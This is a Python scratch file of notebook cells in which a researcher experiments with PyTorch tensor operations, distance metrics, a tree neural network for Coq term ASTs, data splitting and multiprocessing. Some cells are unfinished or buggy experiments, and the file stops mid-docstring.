def _call_userfunc(self, tree, children):
# to do I will need to do something to get the type of variables
# because the variables' types are not attached yet
return
def _call_userfunc_token(self, c):
print(c)
IncreaseAllNumbers(visit_tokens=True).transform(tree1)
# %%
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
torch.manual_seed(1)
word_to_ix = {"hello": 0, "world": 1}
embeds = nn.Embedding(2, 5) # 2 words in vocab, 5 dimensional embeddings
print(type(embeds))
lookup_tensor = torch.tensor([word_to_ix["hello"]], dtype=torch.long)
hello_embed = embeds(lookup_tensor)
print(hello_embed)
# %%
my_set = {1, 2, 3}
print(my_set)
print(type(my_set))
print(len(my_set))
print(1 in my_set)
print(my_set.pop())
print(my_set.pop())
print(my_set.pop())
# %%
from collections import defaultdict
lst = [('a', 1), ('b', 2), ('a', 0)]
# collect values for a in one place, collect values for b in another
d = defaultdict(list) # creates a default dict of value to empty list
for k, v in lst:
d[k].append(v)
print(d)
print(dict(d))
lst2 = d.items()
print(sorted(lst2))
# %%
import numpy as np
x = np.random.randn(1, 10)
xx = np.array([x, x]).reshape([])
print(xx.shape)
c = np.cov(xx)
# %%
import numpy as np
x = np.random.randn(2, 10)
print(x.shape)
c = np.cov(x)
print(c)
print(c.shape)
# %%
import torch
import torch.nn as nn
from collections import OrderedDict
params = OrderedDict([
('fc1', nn.Linear(in_features=4, out_features=4)),
('ReLU1', nn.ReLU()),
('fc2', nn.Linear(in_features=4, out_features=4)),
('ReLU2', nn.ReLU()),
('fc3', nn.Linear(in_features=4, out_features=1)),
])
mdl = nn.Sequential(params)
for name, m in mdl.named_children():
print(f'{name}, {m}')
print()
# for m in mdl.modules():
# print(m)
#
# print()
#
# for name, m in mdl.named_modules():
# print(name)
# print(m)
#
# print()
#
# for name, m in mdl.named_children():
# print(name)
# print(m)
# %%
# Meaning of dimension in pytorch operations: https://discuss.pytorch.org/t/whats-different-between-dim-1-and-dim-0/61094/5
# input tensor of dimensions B x C, B = number of batches, C = number of classes.
B = 8
C = 3
inputs = torch.rand(size=(B, C))
soft_dim0 = torch.softmax(inputs, dim=0)
soft_dim1 = torch.softmax(inputs, dim=1)
print('**** INPUTS ****')
print(inputs)
print(inputs.size())
print('**** SOFTMAX DIM=0 ****')
print(soft_dim0)
print(f'soft_dim0[0, :].sum()={soft_dim0[0, :].sum()}')
print(f'soft_dim0[:, 0].sum()={soft_dim0[:, 0].sum()}')
print(soft_dim0.size())
# print('**** SOFTMAX DIM=1 ****')
# print(soft_dim1)
# %%
# cosine similarity
import torch.nn as nn
dim = 1 # apply cosine accross the second dimension/feature dimension
cos = nn.CosineSimilarity(dim=dim) # eps defaults to 1e-8 for numerical stability
k = 4 # number of examples
d = 8 # dimension
x1 = torch.randn(k, d)
x2 = x1 * 3
print(f'x1 = {x1.size()}')
cos_similarity_tensor = cos(x1, x2)
print(cos_similarity_tensor)
print(cos_similarity_tensor.size())
# %%
import torch.nn as nn
def ned(x1, x2, dim=1, eps=1e-8):
ned_2 = 0.5 * ((x1 - x2).var(dim=dim) / (x1.var(dim=dim) + x2.var(dim=dim) + eps))
return ned_2 ** 0.5
def nes(x1, x2, dim=1, eps=1e-8):
return 1 - ned(x1, x2, dim, eps)
dim = 1 # apply cosine accross the second dimension/feature dimension
k = 4 # number of examples
d = 8 # dimension of feature space
x1 = torch.randn(k, d)
x2 = x1 * 3
print(f'x1 = {x1.size()}')
ned_tensor = ned(x1, x2, dim=dim)
print(ned_tensor)
print(ned_tensor.size())
print(nes(x1, x2, dim=dim))
# %%
import torch
# trying to convert a list of tensors to a torch.tensor
x = torch.randn(3, 1)
xs = [x, x]
# xs = torch.tensor(xs)
xs = torch.as_tensor(xs)
# %%
import torch
# trying to convert a list of tensors to a torch.tensor
x = torch.randn(4)
xs = [x.numpy(), x.numpy()]
# xs = torch.tensor(xs)
xs = torch.as_tensor(xs)
print(xs)
print(xs.size())
# %%
import torch
# trying to convert a list of tensors to a torch.tensor
x = torch.randn(4)
xs = [x.numpy(), x.numpy(), x.numpy()]
xs = [xs, xs]
# xs = torch.tensor(xs)
xs = torch.as_tensor(xs)
print(xs)
print(xs.size())
# %%
# You could use torch.cat or torch.stack to create a tensor from the list.
import torch
x = torch.randn(4)
xs = [x, x]
xs = torch.cat(xs)
print(xs.size())
# xs = torch.stack(xs)
# print(xs.size())
# %%
import torch
# stack vs cat
# cat "extends" a list in the given dimension e.g. adds more rows or columns
x = torch.randn(2, 3)
print(f'{x.size()}')
# add more rows (thus increasing the dimensionality of the column space to 2 -> 6)
xnew_from_cat = torch.cat((x, x, x), 0)
print(f'{xnew_from_cat.size()}')
# add more columns (thus increasing the dimensionality of the row space to 3 -> 9)
xnew_from_cat = torch.cat((x, x, x), 1)
print(f'{xnew_from_cat.size()}')
print()
# stack serves the same role as append in lists. i.e. it doesn't change the original
# vector space but instead adds a new index to the new tensor, so you retain the ability
# get the original tensor you added to the list by indexing in the new dimension
xnew_from_stack = torch.stack((x, x, x, x), 0)
print(f'{xnew_from_stack.size()}')
xnew_from_stack = torch.stack((x, x, x, x), 1)
print(f'{xnew_from_stack.size()}')
xnew_from_stack = torch.stack((x, x, x, x), 2)
print(f'{xnew_from_stack.size()}')
# default appends at the from
xnew_from_stack = torch.stack((x, x, x, x))
print(f'{xnew_from_stack.size()}')
print('I like to think of xnew_from_stack as a \"tensor list\" that you can pop from the front')
print()
lst = []
print(f'{x.size()}')
for i in range(10):
x += i # say we do something with x at iteration i
lst.append(x)
# lstt = torch.stack([x for _ in range(10)])
lstt = torch.stack(lst)
print(lstt.size())
print()
# lst = []
# print(f'{x.size()}')
# for i in range(10):
# x += i # say we do something with x at iteration i
# for j in range(11):
# x += j
# lstx
# lst.append(x)
# # lstt = torch.stack([x for _ in range(10)])
# lstt = torch.stack(lst)
# print(lstt.size())
# %%
import torch
# A class that represents an individual node in a
# Binary Tree
class Node:
def __init__(self, val):
self.left = None
self.right = None
self.val = val
# A function to do postorder tree traversal
def print_postorder(root):
# don't do anything if root is Nothing, else traverse according to PostOrder traversal
# (i.e. left & right until done then print)
if root: # if it's None it's False so does nothing, it's true if it's not None
# First post order print left child (if None this does nothing and then does Post order of the right)
print_postorder(root.left)
# Once right has been done for current node do Post order of right tree (if root.right is None do nothing)
print_postorder(root.right)
# After everything has been printed in post order way, then you can now print the data of current node
print(root.val)
root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.left = Node(4)
root.left.right = Node(5)
print("\nPostorder traversal of binary tree is")
print_postorder(root)
# %%
class Node:
"""Node class for general trees"""
def __init__(self, val):
self.children = []
self.val = val # value of current node
def forward(self, children_embeddings):
# just do a sum of children and current value
return self.val + sum(children_embeddings)
# create top
root = Node(1)
# create left
left = Node(2)
left.children = [Node(4), Node(5)]
# create right
right = Node(3)
# create entire tree
root.children = [left, right]
# A function to do postorder tree traversal
def compute_embedding_bottom_up(root, verbose=False):
'''
What we want is to compute all subtrees
@param root:
@return:
'''
# don't do anything if root is Nothing, else traverse according to PostOrder traversal
if root: # if it's None it's False so does nothing, it's true if it's not None
# Traverse the entire childrens in post order before continuing
children_embedings = []
for children in root.children:
child_embeding = compute_embedding_bottom_up(children, verbose)
children_embedings.append(child_embeding)
# After everything has been computed in post order, compute the current embedding
root_embedding = root.forward(children_embedings)
print(root_embedding) if verbose else None
return root_embedding
# should print 4 5 11 3 15
compute_embedding_bottom_up(root, verbose=True)
# %%
class Node:
"""Node class for general trees"""
def __init__(self, val):
self.children = []
self.val = val # value of current node
def forward(self, children_embeddings):
# just do a sum of children and current value
return self.val + sum(children_embeddings)
term = {
"App": [
{
"Ind": [
"Coq.Relations.Relation_Operators.clos_refl_trans",
"0"
]
},
{
"Var": [
"A"
]
},
{
"Var": [
"R"
]
}
]
}
def embed():
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
torch.manual_seed(1)
word_to_ix = {"hello": 0, "world": 1}
embeds = nn.Embedding(2, 5) # 2 words in vocab, 5 dimensional embeddings
print(type(embeds))
lookup_tensor = torch.tensor([word_to_ix["hello"]], dtype=torch.long)
hello_embed = embeds(lookup_tensor)
print(hello_embed)
# %%
import torch
x = torch.randn(5, 1)
print(x.size())
xs = torch.stack([x, x, x])
print(xs)
print(xs.size())
mean_xs = xs.mean(dim=0)
print(mean_xs)
# %%
'''
Need:
- 1 vocabulary of green terms
- 2 vocabulary of black terms (coq/gallina constructs)
- 3 ast trees so we can traverse them (postorder ideally)
- 4 traversal code for generating a embedding using tree_nn
'''
# import numpy as np
import torch
import torch.nn as nn
from collections import OrderedDict
# import torch.nn.functional as F
# import torch.optim as optim
# from torch.utils.data import DataLoader
# from torch.utils import data
class TreeNN(torch.nn.Module):
def __init__(self, vocab, embed_dim, constructors):
"""
vocab = [idx:word]
"""
super().__init__()
# artity 0 are embeddings/vectors
self.vocab = vocab
self.embed_dim = embed_dim
self.vocab_2_idx = {word: idx for idx, word in enumerate(vocab)} # e.g. {"hello": 0, "world": 1}
self.embeds = nn.Embedding(len(self.vocab), embed_dim) # V words in vocab, D size embedding
# arity k are FNN
self.constructors = constructors
self.cons_2_fnn = {}
for cons in self.constructors:
fnn = self.get_cons_fnn()
self.cons_2_fnn[cons] = fnn
def forward(self, asts):
"""compute embeddings bottom up, so all the children of the ast have to be computed first"""
# ast = asts[0]
# embeds = [self.compute_embedding_bottom_up(ast) for ast in asts]
# return embeds
ast = asts
return self.compute_embedding_bottom_up(ast)
def compute_embedding_bottom_up(self, ast):
children_embeddings = []
for child in ast.children:
if child in self.vocab:
lookup_tensor = torch.tensor([self.vocab_2_idx[child]], dtype=torch.long)
child_embed = self.embeds(lookup_tensor)
else:
child_embed = self.compute_embedding_bottom_up(child)
children_embeddings.append(child_embed)
embed = torch.stack(children_embeddings, dim=0).mean(dim=0)
cons_fnn = self.cons_2_fnn[ast.val]
return cons_fnn(embed)
def get_cons_fnn(self):
# TODO improve, check if arity is variable or fixed, what NN to choose?
fnn = nn.Sequential(OrderedDict([
('fc0', nn.Linear(in_features=self.embed_dim, out_features=self.embed_dim)),
('SeLU0', nn.SELU()),
('fc1', nn.Linear(in_features=self.embed_dim, out_features=self.embed_dim))
]))
return fnn
class Node:
"""Node class for general trees"""
def __init__(self, val):
self.children = []
self.val = val # value of current node
def __repr__(self):
self.print_post_order()
return ''
def print_post_order(self):
"""print all the children first then the current node last"""
for child in self.children:
if type(child) is str:
print(child)
else:
child.print_post_order()
print(self.val)
class JsonToAst:
def __init__(self):
self.base_cases = {"Ind", "Var"}
def generate_ast(self, term):
'''
Assumption is that at term is of the form:
term = {
cons: [...,term,...]
}
base case:
term = {
cons: [...,string,...]
}
'''
for cons, args in term.items():
root = Node(cons)
if cons in self.base_cases:
args = args[0] # TODO ask lasse what to do here
root.children = [args]
else:
for term in args:
child = self.generate_ast(term)
root.children.append(child)
return root
####
def test():
json2ast = JsonToAst()
term = {
"App": [
{
"Ind": [
"Coq.Relations.Relation_Operators.clos_refl_trans",
"0"
]
},
{
"Var": [
"A"
]
},
{
"Var": [
"R"
]
}
]
}
ast = json2ast.generate_ast(term)
print(ast)
#
vocab = ["R", "A", "Coq.Relations.Relation_Operators.clos_refl_trans"]
constructors = ["App", "Ind", "Var"]
#
embed_dim = 4
term_encoder = TreeNN(vocab, embed_dim, constructors)
term_embedding = term_encoder(ast)
print(term_embedding)
print(term_embedding.size())
if __name__ == '__main__':
test()
print('done\a')
# %%
import torch
x = torch.randn(4, 3, 2)
xs = torch.cat([x, x, x], dim=0)
print(xs.size())
xs = torch.cat([x, x, x], dim=1)
print(xs.size())
xs = torch.cat([x, x, x], dim=2)
print(xs.size())
# %%
term = {
"App": [
{
"Ind": [
"Coq.Relations.Relation_Operators.clos_refl_trans",
"0"
]
},
{
"Var": [
"A"
]
},
{
"Var": [
"R"
]
}
]
}
print(term.keys())
keys = list(term.keys())
print(keys[0])
# %%
# python conditional ternery operator
x = 'true' if True else 'false'
# %%
import torch
x = torch.randn([5, 12])
print(x.mean())
print(x.mean().size())
y = torch.tensor(x)
print(y.size())
# %%
# https://discuss.pytorch.org/t/identity-element-for-stack-operator-torch-stack-emtpty-x-x-empty-tensor-exists/111459
import torch
empty = torch.tensor([])
x = torch.randn(3, 5, 7)
print(torch.cat([empty, x], dim=0).size())
print(torch.stack([empty, x], dim=0).size())
# %%
import torch
x = torch.randn(5, 4)
for layer in range(x.size(1)):
print(f'{layer=}')
# %%
# selecting indices arbitrarily i.e. x[*,indicies,*] were * denotes that the rest of the layers are kept the same
# but for only the last 3 layers [T, L] -> [1]
x = torch.randn(5, 4)
# compute average of first 3 layer
L = x.size(1)
indices = torch.tensor(range(L - 1))
xx = x.index_select(dim=1, index=indices)
print(f'{x=}')
print(f'{xx=}')
print(xx.size())
# %%
import torch
def ned_torch(x1, x2, dim=1, eps=1e-4):
"""
Normalized eucledian distance in pytorch.
https://discuss.pytorch.org/t/how-does-one-compute-the-normalized-euclidean-distance-similarity-in-a-numerically-stable-way-in-a-vectorized-way-in-pytorch/110829
https://stats.stackexchange.com/questions/136232/definition-of-normalized-euclidean-distance/498753?noredirect=1#comment937825_498753
:param x1:
:param x2:
:param dim:
:param eps:
:return:
"""
ned_2 = 0.5 * ((x1 - x2).var(dim=dim) / (x1.var(dim=dim) + x2.var(dim=dim) + eps))
return ned_2 ** 0.5
out1 = torch.tensor([[-3.6291e-01],
[-1.7674e+00],
[-2.1817e+00],
[-2.0127e+00],
[-1.6210e+00],
[-7.1149e-01],
[-8.0512e-01],
[-3.3430e-01],
[-6.6400e-01],
[-8.5222e-01],
[-1.1699e+00],
[-8.9726e-01],
[-7.2273e-02],
[-4.6621e-01],
[-1.7938e+00],
[-2.1175e+00],
[-1.2470e+00],
[-1.5756e-01],
[-6.4363e-01],
[-6.0576e-01],
[-1.6676e+00],
[-1.9971e+00],
[-5.9432e-01],
[-3.4780e-01],
[-6.0348e-01],
[-1.7820e+00],
[-2.2057e-01],
[-3.8268e-02],
[-1.5633e+00],
[-3.5840e-01],
[-5.7379e-02],
[-2.5210e-01],
[-1.9601e+00],
[-3.7318e-01],
[1.2341e-02],
[-2.2946e+00],
[-5.3198e-01],
[-2.3140e+00],
[-1.6823e+00],
[-4.7436e-01],
[-2.6047e-01],
[-2.1642e+00],
[-4.7522e-01],
[-5.7305e-01],
[2.8821e-01],
[-2.7846e-01],
[-2.5561e-01],
[-2.2448e+00],
[-1.1109e-02],
[-1.6171e+00],
[-2.3253e+00],
[-1.8158e+00],
[-1.5101e+00],
[1.1949e-01],
[-1.2281e+00],
[-4.2565e-01],
[-1.0244e+00],
[-2.0581e+00],
[-1.0552e+00],
[2.5954e-01],
[2.7600e-01],
[-1.2441e+00],
[2.5143e-01],
[-1.9237e+00],
[-2.0799e+00],
[-2.0188e+00],
[-1.2017e-01],
[-2.0858e+00],
[-1.4656e+00],
[-2.4549e-01],
[-2.3728e+00],
[-8.0225e-01],
[-4.2496e-01],
[-8.0095e-01],
[4.3450e-01],
[3.3060e-01],
[-2.1804e+00],
[-1.8725e+00],
[-1.2165e+00],
[-1.9400e+00],
[-2.2042e+00],
[-1.8880e+00],
[-1.2850e+00],
[1.2322e-01],
[-4.6162e-01],
[-8.0890e-01],
[-7.8389e-01],
[-2.1397e+00],
[4.1263e-01],
[-2.2107e+00],
[2.4144e-01],
[-3.8620e-01],
[-2.1676e+00],
[3.2484e-02],
[-1.6298e+00],
[-1.6220e+00],
[-1.3770e+00],
[-2.1185e+00],
[-1.1192e+00],
[-1.3630e+00],
[-4.5632e-01],
[-1.8549e+00],
[3.4460e-01],
[-2.3489e-01],
[-2.1207e+00],
[-7.0951e-01],
[2.8363e-01],
[-1.1481e+00],
[-5.5500e-01],
[-1.9301e+00],
[-1.2247e+00],
[-5.3754e-01],
[-5.6930e-01],
[2.5710e-01],
[-1.5921e+00],
[2.5347e-01],
[1.0652e-01],
[-1.1256e+00],
[-1.4893e+00],
[4.2699e-01],
[-9.1180e-01],
[-9.7470e-01],
[-1.1939e+00],
[3.5195e-01],
[-2.1075e+00],
[-1.5541e-01],
[-2.3053e+00],
[-2.2581e+00],
[-1.4817e+00],
[-4.7145e-01],
[1.5247e-01],
[7.7248e-02],
[-2.1716e+00],
[-4.0977e-01],
[-7.6577e-01],
[2.2840e-01],
[-1.9727e+00],
[-1.6670e+00],
[-1.7057e+00],
[-2.3080e+00],
[-4.0681e-01],
[1.0423e-03],
[-1.5651e+00],
[-5.2567e-01],
[-1.3016e+00],
[-1.6186e+00],
[-1.5546e+00],
[-1.7983e+00],
[1.1193e-01],
[-1.0648e+00]])
out2 = torch.tensor([[-0.2625],
[0.5472],
[0.7860],
[0.6886],
[0.4628],
[-0.0615],
[-0.0075],
[-0.2790],
[-0.0889],
[0.0196],
[0.2027],
[0.0456],
[-0.4300],
[-0.2029],
[0.5624],
[0.7491],
[0.2472],
[-0.3808],
[-0.1006],
[-0.1225],
[0.4897],
[0.6796],
[-0.1291],
[-0.2712],
[-0.1238],
[0.5556],
[-0.3445],
[-0.4496],
[0.4295],
[-0.2651],
[-0.4386],
[-0.3263],
[0.6583],
[-0.2565],
[-0.4788],
[0.8512],
[-0.1650],
[0.8623],
[0.4981],
[-0.1982],
[-0.3215],
[0.7760],
[-0.1977],
[-0.1413],
[-0.6378],
[-0.3111],
[-0.3243],
[0.8224],
[-0.4653],
[0.4606],
[0.8688],
[0.5751],
[0.3989],
[-0.5406],
[0.2363],
[-0.2263],
[0.1189],
[0.7148],
[0.1367],
[-0.6213],
[-0.6308],
[0.2456],
[-0.6166],
[0.6373],
[0.7274],
[0.6922],
[-0.4024],
[0.7307],
[0.3732],
[-0.3302],
[0.8962],
[-0.0092],
[-0.2267],
[-0.0099],
[-0.7222],
[-0.6623],
[0.7853],
[0.6078],
[0.2296],
[0.6467],
[0.7990],
[0.6167],
[0.2691],
[-0.5427],
[-0.2056],
[-0.0054],
[-0.0198],
[0.7618],
[-0.7096],
[0.8028],
[-0.6109],
[-0.2490],
[0.7779],
[-0.4904],
[0.4679],
[0.4634],
[0.3221],
[0.7496],
[0.1735],
[0.3141],
[-0.2086],
[0.5977],
[-0.6703],
[-0.3363],
[0.7509],
[-0.0627],
[-0.6352],
[0.1902],
[-0.1517],
[0.6410],
[0.2344],
[-0.1618],
[-0.1435],
[-0.6199],
[0.4461],
[-0.6178],
[-0.5331],
[0.1772],
[0.3869],
[-0.7178],
[0.0540],
[0.0902],
[0.2166],
[-0.6746],
[0.7433],
[-0.3821],
[0.8573],
[0.8301],
[0.3825],
[-0.1999],
[-0.5596],
[-0.5162],
[0.7803],
[-0.2355],
[-0.0302],
[-0.6034],
[0.6656],
[0.4893],
[0.5117],
[0.8589],
[-0.2372],
[-0.4723],
[0.4306],
[-0.1686],
[0.2787],
[0.4614],
[0.4245],
[0.5650],
[-0.5362],
[0.1421]])
x1 = out1
x2 = out2
print(x1.isnan().any())
print(x2.isnan().any())
dim = 1
eps = 1e-4
diff = (x1 - x2).var(dim=dim)
print(diff.isnan().any())
ned_2 = 0.5 * ((x1 - x2).var(dim=dim) / (x1.var(dim=dim) + x2.var(dim=dim) + eps))
ned = ned_2 ** 0.5
print(ned)
# conclusion, if you only have 1 number calling .var will result in nan since 1 number doesn't have a variance.
# %%
import torch
x = torch.randn(5, 4)
print(x.isnan().any())
# %%
from argparse import Namespace
# The 2 initial objects
options_foo = Namespace(foo="foo")
options_bar = Namespace(bar="bar")
# The vars() function returns the __dict__ attribute to values of the given object e.g {field:value}.
print(vars(options_foo))
# the merged object
options_baz = Namespace(**vars(options_foo), **vars(options_bar))
print(options_baz)
# %%
import torch
x = torch.randn(5, 4)
print(x.var(dim=1).size() == torch.Size([5]))
# %%
# pretty printing dictionaries and dics of tensors
def _to_json_dict_with_strings(dictionary):
"""
Convert dict to dict with leafs only being strings. So it recursively makes keys to strings
if they are not dictionaries.
Use case:
- saving dictionary of tensors (convert the tensors to strins!)
- saving arguments from script (e.g. argparse) for it to be pretty
e.g.
"""
if type(dictionary) != dict:
return str(dictionary)
d = {k: _to_json_dict_with_strings(v) for k, v in dictionary.items()}
return d
def to_json(dic):
import types
import argparse
if type(dic) is dict:
dic = dict(dic)
else:
dic = dic.__dict__
return _to_json_dict_with_strings(dic)
def save_to_json_pretty(dic, path, mode='w', indent=4, sort_keys=True):
import json
with open(path, mode) as f:
json.dump(to_json(dic), f, indent=indent, sort_keys=sort_keys)
def pprint_dic(dic):
"""
This pretty prints a json
@param dic:
@return:
Note: this is not the same as pprint.
"""
import json
# make all keys strings recursively with their naitve str function
dic = to_json(dic)
# pretty print
# pretty_dic = json.dumps(dic, indent=4, sort_keys=True)
# print(pretty_dic)
print(json.dumps(dic, indent=4, sort_keys=True)) # only this one works...idk why
# return pretty_dic
def pprint_namespace(ns):
""" pretty prints a namespace """
pprint_dic(ns)
import torch
# import json # results in non serializabe errors for torch.Tensors
from pprint import pprint
dic = {'x': torch.randn(1, 3), 'rec': {'y': torch.randn(1, 3)}}
pprint_dic(dic)
pprint(dic)
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
# get init
path_2_init = Path('~/data/logs/logs_Nov17_13-57-11_jobid_416472.iam-pbs/ckpt_file.pt').expanduser()
ckpt = torch.load(path_2_init)
mdl = ckpt['f']
#
Din, Dout = 100, 1
mdl = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
# with torch.no_grad():
# mdl.fc1_l1.weight.fill_(2.0)
# mdl.fc1_l1.bias.fill_(2.0)
#
hook1 = SimilarityHook(mdl, "fc1_l1")
hook2 = SimilarityHook(mdl, "fc1_l1")
mdl.eval()
# params for doing "good" CCA
iters = 10
num_samples_per_task = 100
# size = 8
# start CCA comparision
lb, ub = -1, 1
with torch.no_grad():
for _ in range(iters):
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
mdl(x)
d1 = hook1.distance(hook2)
d2 = hook1.distance(hook2, size=4)
d3 = hook1.distance(hook2, size=None)
print(f'{d1=}')
print(f'{d2=}')
print(f'{d3=}')
# %%
# https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.train_test_split.html
# https://datascience.stackexchange.com/questions/15135/train-test-validation-set-splitting-in-sklearn
from sklearn.model_selection import train_test_split
# overall split 85:10:5
X = list(range(100))
y = list(range(len(X)))
# first do 85:15 then do 2:1 for val split
# its ok to set it to False since its ok to shuffle but then allow reproducibility with random_state
# shuffle = False # shufflebool, default=True, Whether or not to shuffle the data before splitting. If shuffle=False then stratify must be None.
random_state = 1 # Controls the shuffling applied to the data before applying the split. Pass an int for reproducible output across multiple function calls.
test_size = 0.15
X_train, X_val_test, y_train, y_val_test = train_test_split(X, y, test_size=test_size, random_state=random_state)
print(len(X_train))
print(len(X_val_test))
# then 2/3 for val, 1/3 for test to get 10:5 split
test_size = 1.0 / 3.0
X_val, X_test, y_val, y_test = train_test_split(X_val_test, y_val_test, test_size=test_size, random_state=random_state)
print(len(X_val))
print(len(X_test))
# %%
# %%
"""
global interpreter lock
The mechanism used by the CPython (the cononical implementation of the Python PL)
interpreter to assure that only one thread executes Python bytecode at a time.
However, some extension modules, either standard or third-party,
are designed so as to release the GIL when doing computationally-intensive
tasks such as compression or hashing. Also, the GIL is always released when doing I/O.
Past efforts to create a “free-threaded” interpreter
(one which locks shared data at a much finer granularity)
have not been successful because performance suffered in the
common single-processor case. It is believed that overcoming this performance
issue would make the implementation much more complicated
and therefore costlier to maintain.
According to this post multiprocessing library is the right library to use (and not asyncio)
https://leimao.github.io/blog/Python-Concurrency-High-Level/
nice basic python mp tutorial: https://docs.python.org/3/library/multiprocessing.html
TODO:
- spawn vs fork: https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Process.run
"""
# The multiprocessing package offers both local and remote concurrency,
# effectively side-stepping the Global Interpreter Lock by using subprocesses instead of threads.
# Due to this, the multiprocessing module allows the programmer
# to fully leverage multiple processors on a given machine.
# It runs on both Unix and Windows.
# from multiprocessing.context import Process
import os
import time
from multiprocessing import Process
from multiprocessing import Pool
# Ex1: compute a map in parallel
def f(x):
# time.sleep(1)
return x * x
def main1():
with Pool(5) as pool:
print(pool.map(f, [1, 2, 3, 4, 5]))
# Ex2: example of start and join
def f2(name):
print('hello', name)
def main2():
p = Process(target=f2, args=('bob',))
p.start()
p.join()
# Ex3: example of halting the line like in go and then continuing after everyone is done
def f3(arg):
print('--- Inside process ---')
print(f'args to f3 is {arg}!')
print('parent process:', os.getppid())
pid = os.getpid()
print(f'process started with pid={pid}')
time.sleep(1)
print(f'--- process done with pid={pid}')
print('--- Inside process ---')
def main3():
"""
Example of how to wait incorrectly (it will not work since it will start a process but not
start the next until the current one is done)
:return:
"""
print(f'main process pid {os.getpid()}')
num_processes = 4
processes = [Process(target=f3, args=('arg!',)) for _ in range(num_processes)]
for p in processes:
print()
print(p)
p.start()
print(f'starting from the main process (pid={os.getpid()}) process with pid {p.pid}')
p.join() # wrong!
print('main 3 done')
def main4():
"""
Example of how to wait correctly, it blocks for all processes but calls p.start() on all of them first
:return:
"""
print(f'main process pid {os.getpid()}')
num_processes = 4
processes = [Process(target=f3, args=('arg!',)) for _ in range(num_processes)]
for p in processes:
print()
print(p)
p.start()
print(f'starting from the main process (pid={os.getpid()}) process with pid {p.pid}')
# wait group! call join on all processes and block until they are all done
for p in processes:
p.join()
print('main 4 done')
# Ex5: wait group implementation (i.e. block until all process declare they are done)
def heavy_compute(args, secs=1):
time.sleep(secs)
def serial_code_blocking_wrong():
"""
Example of how to wait incorrectly (it will not work since it will start a process but not
start the next until the current one is done)
:return:
"""
num_processes = 4
processes = [Process(target=heavy_compute, args=('arg!',)) for _ in range(num_processes)]
for p in processes:
p.start()
p.join() # wrong!
def parallel_code_blocking_correctly():
"""
Example of how to wait incorrectly (it will not work since it will start a process but not
start the next until the current one is done)
:return:
"""
num_processes = 4
processes = [Process(target=heavy_compute, args=('arg!',)) for _ in range(num_processes)]
for p in processes:
p.start()
# wait group! call join on all processes and block until they are all done
for p in processes:
p.join()
def main5():
start = time.time()
serial_code_blocking_wrong()
print(f'serial (wrong) execution time = {time.time() - start}')
start = time.time()
parallel_code_blocking_correctly()
print(f'parallel execution time = {time.time() - start}')
# first should be 4 secs second should 1 second
if __name__ == '__main__':
start = time.time()
# main1()
# main2()
# main3()
# main4()
main5()
print(f'total execution time = {time.time() - start}')
print('Done with __main__!\a\n')
# %%
"""
Goal: train in a mp way by computing each example in a seperate process.
tutorial: https://pytorch.org/docs/stable/notes/multiprocessing.html
full example: https://github.com/pytorch/examples/blob/master/mnist_hogwild/main.py
Things to figure out:
- fork or spwan for us? see pytorch but see this too https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Process.run
- shared memory
- do we need num_workers=0, 1 or 2? (one for main thread other for pre-fetching batches)
- run test and check that the 112 process do improve the time for a loop (add progress part for dataloder
docs: https://pytorch.org/docs/stable/multiprocessing.html#module-torch.multiprocessing
(original python mp, they are compatible: https://docs.python.org/3/library/multiprocessing.html)
"""
# from datetime import time
#
# import torch
# from torch.multiprocessing import Pool
#
#
# def train(cpu_parallel=True):
# num_cpus = get_num_cpus() # 112 is the plan for intel's clsuter as an arparse or function
# model.shared_memory() # TODO do we need this?
# # add progressbar for data loader to check if multiprocessing is helping
# for batch_idx, batch in dataloader:
# # do this mellow with pool when cpu_parallel=True
# with Pool(num_cpus) as pool:
# losses = pool.map(target=model.forward, args=batch)
# loss = torch.sum(losses)
# # now do .step as normal
#
#
# if __name__ == '__main__':
# start = time.time()
# train()
# print(f'execution time: {time.time() - start}')
# %%
import torch
print(torch.multiprocessing.get_all_sharing_strategies())
print(torch.multiprocessing.get_sharing_strategy())
torch.multiprocessing.set_sharing_strategy('file_system')
# %%
# getting the id of the process wrt to the pooling: https://stackoverflow.com/questions/10190981/get-a-unique-id-for-worker-in-python-multiprocessing-pool
import multiprocessing
def f(x):
print(multiprocessing.current_process())
return x * x
p = multiprocessing.Pool()
print(p.map(f, range(6)))
# %%
import torch
import torch.nn as nn
from torch.utils.data import Dataset
from torch.multiprocessing import Pool
# class SimpleDataSet(Dataset):
#
# def __init__(self, D, num_examples=20):
# self.data = [torch.randn(D) for _ in range(num_examples)]
#
# def __len__(self):
# return len(self.data)
#
# def __getitem__(self, idx):
# return self.data[idx]
def main():
Din, Dout = 3, 1
model = nn.Linear(Din, Dout)
criterion = nn.MSELoss()
def get_loss(data_point):
x, y = data_point
y_pred = model(x)
loss = criterion(y_pred, y)
return loss
batch_size = 3
num_epochs = 10
num_batches = 5
num_procs = 5
for epoch in range(num_epochs):
for i in range(num_batches):
batch = [(torch.randn(Din), torch.randn(Dout)) for _ in range(batch_size)]
with Pool(num_procs) as pool:
losses = pool.map(get_loss, batch)
loss = torch.avg(losses)
loss.backward()
if __name__ == '__main__':
main()
# %%
# counting number of processors: https://stackoverflow.com/questions/23816546/how-many-processes-should-i-run-in-parallel
# %%
# # List of tuples
# students = [('jack', 34, 'Sydeny', 'Australia'),
# ('Riti', 30, 'Delhi', 'India'),
# ('Vikas', 31, 'Mumbai', 'India'),
# ('Neelu', 32, 'Bangalore', 'India'),
# ('John', 16, 'New York', 'US'),
# ('Mike', 17, 'las vegas', 'US')]
# # Create DataFrame object from a list of tuples
# dfObj = pd.DataFrame(students, columns=['Name', 'Age', 'City', 'Country'], index=['a', 'b', 'c', 'd', 'e', 'f'])
# %%
"""
Goal: train in a mp way by computing each example in a seperate process.
tutorial: https://pytorch.org/docs/stable/notes/multiprocessing.html
full example: https://github.com/pytorch/examples/blob/master/mnist_hogwild/main.py
Things to figure out:
- fork or spwan for us? see pytorch but see this too https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Process.run
- shared memory
